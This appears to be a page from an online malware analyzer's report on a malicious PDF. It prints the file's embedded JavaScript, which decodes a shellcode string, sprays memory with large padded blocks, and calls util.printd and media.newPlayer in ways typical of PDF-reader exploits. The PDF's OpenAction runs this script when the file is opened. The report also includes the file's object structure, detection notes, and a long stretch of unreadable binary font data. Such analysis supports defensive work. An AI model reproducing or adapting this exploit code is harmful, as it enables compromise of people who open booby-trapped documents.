text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
ssqqrr = (ssqqrr);
var yR = unescape('');
var MaxString = String["fromCharCode"](0x3727,0x27f5);
for(i=0;i<15;){MaxString+=MaxString;i ++;}
MaxString=MaxString.substring(0,32768 - ssqqrr.length);
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= MaxString + ssqqrr; i ++;
}
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String["fromCharCode"](112,114,105,110,116,100)](String["fromCharCode"](49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f
0000000015 00000 n
0000000266 00000 n
0001301237 00000 n
0001301283 00000 n
0001301367 00000 n
0001301388 00000 n
0001315371 00000 n
0001315411 00000 n
0000000467 00000 n
0000001848 00000 n
0000411199 00000 n
0000411422 00000 n
0000412403 00000 n
0000414242 00000 n
0000417312 00000 n
0000417507 00000 n
0000418497 00000 n
0000420636 00000 n
0000423742 00000 n
0000423937 00000 n
0000424927 00000 n
0000427257 00000 n
0000430375 00000 n
0000430570 00000 n
0000431409 00000 n
0000433138 00000 n
0000435390 00000 n
0000435585 00000 n
0000436377 00000 n
0000437824 00000 n
0000439728 00000 n
0000439923 00000 n
0000440749 00000 n
0000443111 00000 n
0000445771 00000 n
0000445966 00000 n
0000446744 00000 n
0000448072 00000 n
0000449904 00000 n
0000450099 00000 n
0000450456 00000 n
0000451125 00000 n
0000452259 00000 n
0000452454 00000 n
0000453370 00000 n
0000454829 00000 n
0000961731 00000 n
0000962195 00000 n
0000962249 00000 n
0000962409 00000 n
0000962560 00000 n
0001300754 00000 n
0001300808 00000 n
0001300987 00000 n
0001301422 00000 n
0001315270 00000 n
0001315318 00000 n
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<F6B3F1615468246869C3069F16B9BB4E><F6B3F1615468246869C3069F16B9BB4E>]
>>
startxref
1315429
%%EOF
|
|||
deobfuscated.js |
deobfuscated-js | PDF JavaScript deobfuscation pass | 5579357 bytes |
SHA-256: 12d36602dd261debb7551f6a3a381d58dfa709ac526d84513195f5b40b369970 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 15 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.4
%�쏢
1 0 obj
<<
/Type /Catalog
/Outlines 3 0 R
/Pages 4 0 R
/Dests 5 0 R
/AcroForm 6 0 R
/Names 7 0 R
/Threads 8 0 R
/PageLayout /SinglePage
/OpenAction << /S /JavaScript /JS (this.New_Script\(\)) >>
/ViewerPreferences
<<
/PageDirection /L2R
>>
>>
endobj
2 0 obj
<<
/Creator (Scribus 1.3.3.14)
/Producer (Scribus PDF Library 1.3.3.14)
/Title <>
/Author <>
/Keywords <>
/CreationDate (D:20100729104338)
/ModDate (D:20100729104338)
/Trapped /False
>>
endobj
9 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /FoStd0
/BaseFont /Helvetica
/Encoding <<
/Differences [
24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde
39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright
/minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron
/Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot
/.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine
188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex
/Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash
/Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla
/egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis
/divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis
] >>
>>
endobj
10 0 obj
<<
/Length 409281
/Length1 409280
>>
stream
pDSIG���t $0 �GDEF^#]r � �GSUB���� d �JSTFm*i $ LTSHѧ�j x �OS/2 s-� � VPCLTYӁ� � 6VDMXN#h� # �cmap�@j: �� jcvt �,ځ �x �fpgmæ �0 1gasp t glyf`��� l ��hdmx�2g� 4� �(head�[ � | 6hhea � � � $hmtx�B � P (kern�w�� �D dloca �� @ ,maxp
� � name 5� �� �post���L �t A�prep�8�� �d ���_ <� �� � �յ(�t�� !�E W �t�& � � � < v / V � 5 � � 3 % � 3 � f z�� Mono @ �� ��F 3 ! �@ ��� 9 � � D � % l � H 9 K q Q � T � . � � % n � S � 9 J � , S b X L | Q 9 � 9 � � % � % � % � \ ^ a � V " V J � # � * s ! � H � # � 3 * � " � ) " ��� � H s " � H V # s � � > � � � � � � � � 9 � K � % �� � v � I �� � F D � L � O =
9 < 9�c 9 = 9 E �� D �
d 9 �
� ) � � � � � T � � V J � * ��� � H � � I � I � I � I � I � I � F � L � L � L � L 9 < 9 < 9
9 E E E E E e 3 b � = � � p ��� # E E � � � � 9 d �� � I � 5 d d d � � � @ � + � . d > 1 5�� { % G V I ' � Y � � � $ d S d � @ @ � � � � H K � C �� �� � C � C � � � � d � / � V�� �� � w � s s s � � � � � C A � � * � � * � * � 3 � 2 � 2 � 2 � H � H � H � � � 9 < � < � � � 7 � � � � � � � N � � � < � 9 s ~ d � � ) � � � # D � s $ �� � % � � f � f f , � � * ! � H = � 3 s � d V J � F V J � F & �� � � � � I � � I � # , D � # � * � L � * � L � ) 9 = � ) @ < � ) � 6 ��� ��� � H E V # �
V # �
s � d � > 9 � > k � � � � ) � � ) � % � L � G 1 W � F \ G P F 7 � E �� � � � � , O � O � O � � � j � � � & � � � & � " � ��� � ~ � ~ ��� � ~ ��� � ~ ��� ��� ��� ��� ��� � � � ~ � � � � ��� ��� ��� � ~ � � � � ��� ��� ��� � ~ � � � � ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� � � � f ��� ��� � � � 0 � � 0 � � � � � � * + � k � U � o @ : @ 7 � ? @ % U � / k ; � � � U � � 4 � d � � � � � � � � � p � � I V J � F V J � F � * � L � * � L � * � L � H = � H = � H = � #
� #
� 9�� � 9�� � 3 9�� � 3 9 9 * 9�c � " � ) 9 = ��� � & � � H E � H E V # �
s � d � ; 9 � � � � � �
� 9 � � I �� V I � I ' 9 � � �
� �
� �
� � � ��� = � Z � * 1 % � � � � � � ��� � ��\ w�\ J�\ ��� ��\ ��� '�� � V " % 2 � * � � # � 3 � " � " ��� % O � H � % s " � � > � � � � < � 2 � 1 W \ G / ' % ��� n � P F / � Q ' % � J t ��� � F E � Y + F ��� � D K ' ��� E ��� D K � * 7 � % H K s � � 3 � 2 * �
� ' � 6 V % � � % � � $ V " � % u � * + + � % � % V % m " � # � H � % s " V J � > � R L � � % 3�� 9 9 � 6 � % � $ H : 9 & V�� � I N � 0 H � L � ) H . H . � . � . H . E H . �� � F / W H . ) . ) . # ` - � . o � - ��� � L � H o F d 9 < 9 9�c � � -
� . H . � % � A �
� � � 2 � � � � � � � � � � � � � � ! � V � � T � � � ��k 9 � � _ � 3 � ! Z C � N ; C J N � X � C " C � C v 3 t d � N 2 C p ! � _ � C � C � X � C � = � i � C � C ! u C ] C D C � k � k 6 � ;�� � C � C t�[ t�[ � 3 � C � C � C � C � _ � _ � _ � 3 � ! Z C � N ; C y � C " C � C v 3 t � N p ! � _ � C � X � = � i � C � C ! ; C � 3 v 3 � X �� �% �� �Q � � � � � C M y ��� � F � F � F � F � H � F � F Q F 5 | 5 . 5 � 5 � 5 , 5 � 5 � 5 � 5 � 5 � 5 � � � 5 � B 6 5 � 5 � 5 � � F �� � : � : ��� ��� � 6 5 6 =�� =�� � J � J v '�� �� v '�� �� 2 � $ � 0 � F � F � @ � F � � ] � M y � ��� � V � u 2 u 2 � - � 2 � $ ��� ��� � � � � : � : ��� ��� B �� � : � : ��� ��� � : � : ��� ��� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � _ � _ � _ � _ � J � J � J � J � > � > ?�� ?�� � > � > ?�� ?�� � > � > ��� ��� � > � > ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� Z * � 6 5�� '�� Z * � 6 5�� '�� O ' O ' $�� �� � F � F $�� �� � - � - '�� '��
G
G ��� ��� � # � # '�� '�� 5 E 5 E ��� ��� B 6 �� ��� '�� u 2 u 2 2 � $ 2 � $ ��� ��� Z @ � @ Z & � 0 Z S � A Z S � A � F � F Q F � F � H � F � F � F � F � F � @ � 0 � F � F � � � � � � �� �� �� � H ; E 5 V �� � � �B �� �� �b �+ �� �� �� � �� �� � �� � � �p �� �� �w �b �� �� �� �t �� �� �F �' �� �� �� �D � �p �� �q �� �G �b �� �� �� �K �� �K �� �b � �� 9 < � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � * � L � * � L � * � L � * � L � * � L � * � L � * � L � * � L � 3 9 < � 3 9 < � H E � H E � H E � H E � H E � H E � H E � H ; E � H ; E � H ; E � H ; E � H ; E � � 5 V 5 V 5 V 5 V 5 V � � � � � I � 3 9 � H E � � � � � � � � � � # H + � V % � . V % � . � # H . � � � 3�� 3 %
� + � L � H E � : ��� $�� �� � F � � � � � � k ��� '�� � ��� � � � � � � V � V �� � ��� ��� ��� � ��� � � � u 2 u 2 u 2 u 2 2 � $ � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 2 � 2 � _ � _ � _ � _ � 2 � 2 � _ � _ � _ � _ � _ � _ � 8 � 8 � I � I � J � J � J � J � J � J � J � J � J � J � J � J � J � J � J � J � > � > ?�� ?�� � > � > ?�� ?�� � > � > ?�� ?�� � > � > ��� ��� � > � > ��� ��� ��� ��� Z * � 6 5�� '�� O ' O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� � F � F � F � F v '�� �� v '�� �� � - � - '�� '�� � - � - '�� '�� � - � - '�� '�� v '�� �� v '�� �� v '�� �� v '�� �� v '�� ��
G
G ��� ���
G
G ��� ���
G
G ��� ���
G
G ��� ��� 5 E 5 E ��� ��� 5 E 5 E 5 E 5 E 5 E 5 E ��� ��� 5 E 5 E � 6 5 6 =�� =�� B 6 �� u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 �� ��� 2 � $ ��� ��� u 2 u 2 2 � $ ��� ��� 2 � $ E E E E � ( �) �� �0 � � �� �~ � 2 � 2 �� �� �� �d �~ �� � ��� �� � � 2 �X �X �d � > � > ?�� ?�� � > � > ��� ��� Z * � 6 5�� '�� M y � # B 6 ��� ��� � / � ; � � � � m v " C �� � D C Z�� ��� Z S � A Z S � A Z S � A Z S � A Z S � A Z S � A 5 q 5 � Z � � gh 0 n� \ ] = Gh �3EH @ bG>eece @@Y@+9R@C�C@a�e�O e2^?HK�dT;�bG�T^^^/"3Ta\c�e �
cabb8�aaA 2��e� + 7 ��$/+�g M�� � �� eec� � ;_ e e h� _ G ae�E Y| a @ Gde9" ? ? �E2E2@*. K KeG e @T@T@^+/+/9" R @T@Taeae @
� o o(oo . S ���P 2222 ` + �� 1 �+ Q����E2 ? ? K K KGdGdGd>T>Te;e;e;e;e�cb eG@T @^@^+/9"R3@T@T@T@Tb[@�
E2�/.+ b[b[b[@� b � E @ &(EH a>ec @ @>Y R@C &e@ ( $ ( &^
"( ^ " 9eee,,
>E H >> >@>Y R
C> .. , 2 K
^ ^? � c
K ";;� T
,* * +
$
* * +
+ ,, # # + , ,, ,, ,, ,, )))) ++ ++ 22222222# # 22 ,, ,,# # # # + @ ;E2E2E2E2E2E2E2E2E2E2E2E2 K K K K K K K Ke;e;@^@^@^@^@^@^@^@ @ @ @ @ @T@T @�@�@�E2e;@^@T@T@T@T@T > @ @ Cc T@?@^ , 2,,,,,,( ,, ,, ,, ,, ,, ,, ,, )))))))))))))))))) ++ ++ ++ 22# 2222 # # # # # # # ,, ,, ,, ,, 2 ++ # ,(,,,,, # # # # # # # # � � � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . *�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . *�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . +�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� �
"
"
&
&
*
*
0
…
|
|||
font_00_sfnt_off0000076d.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x76D | 409280 bytes |
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.